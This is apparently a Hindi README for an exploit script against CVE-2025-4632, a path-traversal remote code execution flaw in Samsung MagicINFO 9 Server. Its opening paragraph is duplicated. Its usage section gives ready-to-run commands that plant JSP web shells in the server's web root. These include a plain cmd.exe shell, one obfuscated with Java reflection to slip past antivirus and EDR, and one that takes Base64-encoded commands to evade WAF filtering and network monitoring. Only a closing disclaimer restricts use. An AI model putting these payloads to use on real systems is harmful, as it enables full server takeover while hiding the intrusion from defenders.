
यह रिपॉज़िटरी CVE-2025-4632 के लिए एक Python प्रतिकृति स्क्रिप्ट शामिल करती है, जो Samsung MagicINFO 9 सर्वर (21.1052 से पहले के संस्करण) में एक अनधिकृत रिमोट कोड निष्पादन (RCE) भेद्यता है।
इस रिपॉजिटरी में CVE-2025-4632 के लिए एक Python प्रतिकृति स्क्रिप्ट है, जो Samsung MagicINFO 9 सर्वर (21.1052 से पहले के संस्करण) में एक अनप्रमाणित रिमोट कोड निष्पादन (RCE) कमजोरी है।
यह कमजोरी SWUpdateFileUploader सर्वलेट में पथनाम की अनुचित सीमा के कारण मौजूद है। पथ ट्रैवर्सल (../../) का उपयोग करके, एक अनप्रमाणित हमलावर SYSTEM अधिकार के साथ मनमानी फाइलें लिख सकता है, जिससे पूर्ण सर्वर से समझौता हो जाता है।
s4e-io (ProjectDiscovery Nuclei समुदाय से (http/cves/2025/CVE-2025-4632.yaml))।CVE-2025-4632 Nuclei टेम्पलेट में परिभाषित तर्क का सीधा प्रोग्रामेटिक कार्यान्वयन है।स्क्रिप्ट एक वैध दिखने वाले डिवाइस अपडेट अनुरोध उत्पन्न करने की प्रक्रिया को स्वचालित करती है। यह fileName पैरामीटर का शोषण करके डायरेक्टरी ट्रैवर्सल अनुक्रम इंजेक्ट करता है ताकि इच्छित अपलोड निर्देशिका से बाहर निकलकर सीधे वेब रूट (/MagicInfo/) में एक फाइल लिख सके।
स्क्रिप्ट दो चरण करती है:
/MagicInfo/servlet/SWUpdateFileUploader पर भेजता है।/MagicInfo/<filename> पर अपलोड की गई फाइल तक पहुँचने का प्रयास करता है।python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: लक्ष्य का आधार URL (जैसे, http://192.168.1.100:7001)।-f / --filename: बनाई जाने वाली फाइल का नाम (जैसे, shell.jsp)।-d / --data: फाइल में लिखने की कच्ची सामग्री।निम्नलिखित पेलोड मूल्यांकन गतिविधियों के दौरान सफलतापूर्वक परीक्षण किए गए। वे एंडपॉइंट सुरक्षा नियंत्रणों को नेविगेट करते हुए प्रभाव साबित करने के लिए डिज़ाइन किए गए हैं।
एंटीवायरस या EDR को ट्रिगर किए बिना JSP निष्पादन की सुरक्षित पुष्टि करने के लिए उपयोग किया जाता है।
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
पहुँच: http://<target>:7001/MagicInfo/poc.jsp
एक मानक JSP वेब शेल। नोट: यह आधुनिक AV/EDR समाधानों द्वारा पकड़ा और क्वारंटाइन किया जा सकता है, जिसके परिणामस्वरूप सत्यापन पर 404 Not Found मिल सकता है।
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
पहुँच: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
जब मानक शेल अवरुद्ध हो तो उपयोग किया जाता है। यह पेलोड Java Reflection का उपयोग करके Runtime.getRuntime().exec हस्ताक्षर को स्थैतिक विश्लेषण से छिपाता है।
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
पहुँच: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
जटिल कमांड के लिए अत्यधिक अनुशंसित: यदि आप स्पेस, बैकस्लैश या विशेष वर्ण (जैसे, dir c:\) वाले कमांड चलाने का प्रयास करते समय 400 Bad Request त्रुटियों का सामना करते हैं, तो सर्वर का सख्त URI सत्यापन या WAF अनुरोध को अवरुद्ध कर रहा है।
यह उन्नत पेलोड URL में Base64 एन्कोडेड कमांड की अपेक्षा करता है। यह निष्पादन से पहले इसे सर्वर-साइड डीकोड करता है, URL फ़िल्टरिंग को पूरी तरह से बायपास करता है और कमांड को नेटवर्क मॉनिटर से अस्पष्ट करता है।
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
उपयोग उदाहरण:
अपने कमांड को स्थानीय रूप से Base64 में एन्कोड करें (जैसे, echo -n "dir c:\" | base64), फिर इसे c पैरामीटर में पास करें।
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==अस्वीकरण: यह स्क्रिप्ट केवल शैक्षिक और अधिकृत पेनिट्रेशन टेस्टिंग उद्देश्यों के लिए है।